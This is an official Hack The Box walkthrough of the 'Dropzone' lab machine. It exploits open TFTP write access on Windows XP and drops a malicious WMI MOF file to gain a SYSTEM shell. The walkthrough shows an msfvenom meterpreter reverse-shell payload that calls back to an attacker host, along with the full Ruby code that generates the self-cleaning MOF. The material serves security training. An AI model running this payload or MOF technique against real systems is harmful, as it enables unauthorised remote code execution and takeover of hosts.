Hack The Box
PEN-TESTING LABS

Dropzone

4th November 2018 / Document No D18.100.26

Prepared By: egre55

Machine Author: eks & rjesh

Difficulty: Medium

Classification: Official

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

SYNOPSIS

Dropzone is an interesting machine that highlights a technique used by the Stuxnet worm. The discovery of NTFS data streams provides an additional challenge.

Skills Required

- Basic knowledge of Ruby
- Basic knowledge of Windows

Skills Learned

- TFTP data transfer
- Exploit modification
- Discovery of NTFS data streams

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Enumeration

Nmap

masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.90

```
root@kali:~# ports=$(cat ports | awk -F" " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
root@kali:~# nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.90
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-19 14:57 UTC
Nmap scan report for 10.10.10.90
Host is up (0.041s latency).

PORT   STATE    SERVICE VERSION
69/tcp filtered tftp
69/udp open     tftp    SolarWinds Free tftpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.55 seconds
```

```
root@kali:~# netcat -vv -u 10.10.10.90 69
10.10.10.90: inverse host lookup failed: Unknown host
(UNKNOWN) [10.10.10.90] 69 (tftp) open
```

Nmap reveals that UDP port 69 (TFTP) is running, and this is verified using netcat.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Exfiltration of Interesting Files

It seems that read and write access to the entire system is possible. As license.rtf doesn't exist the system must be prior to Windows 7. Inspection of eula.txt reveals that it is Windows XP Service Pack 3.

```
root@kali:~# tftp
tftp> connect
(to) 10.10.10.90
tftp> get /windows/system32/license.rtf license.rtf
Error code 1: Could not find file 'C:\windows\system32\license.rtf'.
tftp> get /windows/system32/eula.txt eula.txt
Received 41543 bytes in 8.8 seconds
tftp>
```

```
root@kali:~# cat eula.txt | head
END-USER LICENSE AGREEMENT FOR MICROSOFT
SOFTWARE

MICROSOFT WINDOWS XP PROFESSIONAL EDITION
SERVICE PACK 3

IMPORTANT-READ CAREFULLY: This End-User
License Agreement ('EULA') is a legal
agreement between you (either an individual
or a single entity) and Microsoft Corporation
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Exploitation

Creation of Malicious MOF File

With prior knowledge of the Stuxnet Windows Printer Spooler vulnerability (MS10-061), or by searching for Windows XP write-privilege attacks, it seems likely that the initial vector requires creating a malicious MOF file.

The blog post below by Xst3nZ highlights how this can be weaponized and is well worth a read.

http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html

The Metasploit Framework uses malicious MOF files as payloads for several modules, via the wbemexec.rb mixin.

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows

wbemexec.rb is modified as below, and executed to generate a malicious MOF file **(Appendix A)**

```
#module Msf
#module Exploit::WbemExec

def generate_mof(mofname, exe)
```

```
  # Replace the input vars
  mof.gsub!(/@CLASS@/, classname)
  mof.gsub!(/@EXE@/, exe)  # NOTE: \ and " should be escaped

  fd = open("telemetry.mof", 'w')
  fd << mof
  fd.close

  mof
end

#end
#end

generate_mof('telemetry.mof', 'update.exe')
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

TFTP Transfer and Shell

TFTP binary mode is enabled. The binary needs to be uploaded first to “c:\windows\system32”, before uploading the MOF file to “c:\windows\system32\wbem\mof”.

```
root@kali:~# msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.14.9 LPORT=443 -f exe > update.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 179779 bytes
Final size of exe file: 254976 bytes
root@kali:~# tftp
tftp> connect
(to) 10.10.10.90
tftp> verbose
Verbose mode on.
tftp> binary
mode set to octet
tftp> put update.exe /windows/system32/update.exe
putting update.exe to 10.10.10.90:/windows/system32/update.exe [octet]
Sent 254976 bytes in 116.9 seconds [17449 bits/sec]
tftp> put telemetry.mof /windows/system32/wbem/mof/telemetry.mof
putting telemetry.mof to 10.10.10.90:/windows/system32/wbem/mof/telemetry.mof [octet]
Sent 2212 bytes in 1.1 seconds [16087 bits/sec]
tftp>
```

A shell is immediately received as SYSTEM.

```
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.9:443
[*] Sending stage (179779 bytes) to 10.10.10.90
[*] Meterpreter session 1 opened (10.10.14.9:443 -> 10.10.10.90:1216) at 2018-11-05 17:03:31 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

NTFS Data Streams

After inspecting the files on the Administrator's Desktop, streams.exe from the SysInternals Suite is uploaded, and user and root flags can now be obtained.

```
meterpreter > shell
Process 420 created.
Channel 5 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop\flags>streams.exe /accepteula -s
streams.exe /accepteula -s

streams v1.60 - Reveal NTFS alternate streams.
Copyright (C) 2005-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Documents and Settings\Administrator\Desktop\flags\2 for the price of 1!.txt:
   :root_txt_3316ffe05fada8f8e651931a5c45edab:$DATA     5
   :user_txt_a6a4830ddd27a1bddd59d2aaa80f7940:$DATA     5
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Appendix A

```
# -*- coding: binary -*-

#
# This mixin enables executing arbitrary commands via the
# Windows Management Instrumentation service.
#
# By writing the output of these methods to %SystemRoot%\system32\WBEM\mof,
# your command line will be executed.
#
# This technique was used as part of Stuxnet and further reverse engineered
# to this form by Ivanlef0u and jduck.
#

#module Msf
#module Exploit::WbemExec

def generate_mof(mofname, exe)

  classname = rand(0xffff).to_s
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
  # From Ivan's decompressed version
  mof = <<-EOT
#pragma namespace("\\\\.\\root\\cimv2")
class MyClass@CLASS@
{
        [key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
        [key] string Name;
        [not_null] string ScriptingEngine;
        string ScriptFileName;
        [template] string ScriptText;
  uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
};

instance of __EventConsumerProviderRegistration

{

  Provider = $P;

  ConsumerClassNames = {"ActiveScriptEventConsumer"};

};

Instance of ActiveScriptEventConsumer as $cons

{

  Name = "ASEC";

  ScriptingEngine = "JScript";

  ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch
(err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");}
catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try
{sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";



};

Instance of ActiveScriptEventConsumer as $cons2

{

  Name = "qndASEC";

  ScriptingEngine = "JScript";

  ScriptText = "\\nvar objfs = new ActiveXObject(\\"Scripting.FileSystemObject\\");\\ntry {var f1 =
objfs.GetFile(\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\#{mofname}\\");\\nf1.Delete(true);} catch(err)
{};\\ntry {\\nvar f2 = objfs.GetFile(\\"@EXE@\\");\\nf2.Delete(true);\\nvar s =
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
GetObject(\\"winmgmts:root\\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\
"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";

};

instance of __EventFilter as $Filt

{

  Name = "instfilt";

  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class =
\\"MyClass@CLASS@\\"";

  QueryLanguage = "WQL";

};

instance of __EventFilter as $Filt2

{

  Name = "qndfilt";

  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA
\\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\"";

  QueryLanguage = "WQL";



};

instance of __FilterToConsumerBinding as $bind

{

  Consumer = $cons;

  Filter = $Filt;

};
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
instance of __FilterToConsumerBinding as $bind2
{
  Consumer = $cons2;
  Filter = $Filt2;
};
instance of MyClass@CLASS@ as $MyClass
{
  Name = "ClassConsumer";
};
EOT


  # Replace the input vars
  mof.gsub!(/@CLASS@/, classname)
  mof.gsub!(/@EXE@/, exe)  # NOTE: \ and " should be escaped


  fd = open("telemetry.mof", 'w')
  fd << mof
  fd.close


  mof
end
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
#end

#end


generate_mof('telemetry.mof', 'update.exe')
```

modified wbemexec.rb